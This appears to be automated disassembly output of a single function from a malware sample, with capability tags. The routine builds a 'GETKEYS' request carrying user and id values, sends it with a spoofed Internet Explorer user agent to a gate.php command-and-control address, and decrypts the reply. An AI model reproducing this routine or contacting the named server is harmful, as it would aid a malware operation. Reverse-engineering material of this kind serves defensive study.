Function at 0x4034e0
Capabilities:
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [str.firstEncryptionKey]
sub esp, 0xc
mov edx, str.GETKEYS
push ebx
push esi
push edi
push 1
push 0
call fcn.004023d0
mov esi, dword [str.firstEncryptionKey]
add esp, 8
mov ebx, eax
lea ecx, [esi + 1]
jmp 0x403510
mov al, byte [esi]
inc esi
test al, al
jne 0x403510
sub esi, ecx
push 0x18
mov dword [ebp - 0xc], esi
call fcn.004044b3
mov edi, eax
add esp, 4
test edi, edi
je 0x4037b4
movq xmm0, qword [ebx]
mov eax, dword [ebx + 8]
mov dword [edi], 0x75716572
mov dword [edi + 4], 0x3d747365
movq qword [edi + 8], xmm0
mov dword [edi + 0x10], eax
mov ax, word [ebx + 0xc]
mov word [edi + 0x14], ax
push ebx
mov byte [edi + 0x16], 0
call fcn.0040447b
push 0x1d
call fcn.004044b3
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x40378f
mov ebx, edi
mov ecx, eax
sub ebx, eax
mov edx, 0x16
mov edi, edi
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edx
jne 0x403580
mov ebx, dword [ebp - 8]
push edi
mov dword [ebx + 0x16], 0x65737526
mov word [ebx + 0x1a], 0x3d
call fcn.0040447b
push esi
push dword [0x417114]
mov edx, 0x1b
mov ecx, ebx
call fcn.00401020
push ebx
mov dword [ebp - 4], eax
call fcn.0040447b
lea edi, [esi + 0x1b]
lea ecx, [edi + 6]
push ecx
call fcn.004044b3
mov ebx, eax
add esp, 0x14
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x40376a
xor eax, eax
test edi, edi
jle 0x4035ef
push edi
push dword [ebp - 4]
push ebx
call fcn.00409de0
add esp, 0xc
mov eax, edi
push dword [ebp - 4]
mov dword [ebx + eax], 0x3d646926
mov byte [ebx + eax + 4], 0
call fcn.0040447b
lea edi, [esi + 0x1f]
lea eax, [edi + 0x22]
push eax
call fcn.004044b3
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403745
xor eax, eax
mov dword [ebp - 4], eax
test edi, edi
jle 0x40363f
mov edx, dword [ebp - 8]
mov ecx, ebx
sub edx, ebx
mov dword [ebp - 4], edi
nop
mov al, byte [edx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edi
jne 0x403630
mov eax, dword [ebp - 4]
mov esi, dword [0x418f94]
lea edx, [ebx + eax]
xor ecx, ecx
lea ebx, [ebx]
mov al, byte [ecx + esi]
mov byte [edx + ecx], al
inc ecx
cmp ecx, 0x20
jl 0x403650
push dword [ebp - 8]
lea eax, [ebx + ecx]
mov ecx, dword [ebp - 4]
mov byte [eax + ecx], 0
call fcn.0040447b
mov esi, dword [ebp - 0xc]
lea edx, [ebp - 0xc]
push str.Mozilla_5.0__compatible__MSIE_8.0__Windows_NT_5.1__Trident_4.0__InfoPath.2__SLCC1__.NET_CLR_3.0.4506.2152__.NET_CLR_3.5.30729__.NET_CLR_2.0.50727_
lea ecx, [ebp - 8]
mov byte [ebx + esi + 0x40], 0
call fcn.004017b0
add esp, 8
test eax, eax
je 0x403733
mov edi, dword [ebp - 0xc]
mov ecx, edi
mov edx, dword [str.lookarround.bet_lookarround_gate.php_requesttrue]
push 0xd4
push ebx
call fcn.00401840
push ebx
mov dword [ebp - 0xc], eax
call fcn.0040447b
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 0xc
push dword [ebp - 8]
call esi
push edi
call esi
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40372a
mov ecx, dword [str.firstEncryptionKey]
mov edx, ebx
push 0
push 1
call fcn.004023d0
push ebx
mov esi, eax
call fcn.0040447b
add esp, 8
mov edx, esi
call fcn.004026b0
push esi
mov edi, eax
call fcn.0040447b
push str.success
push edi
call fcn.00404550
add esp, 0x10
test eax, eax
je 0x403721
mov ecx, edi
call fcn.004033b0
push edi
call fcn.0040447b
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040447b
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0040447b
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x417ea0], 1
jne 0x403762
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x403787
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x4037ac
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x4037d1
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]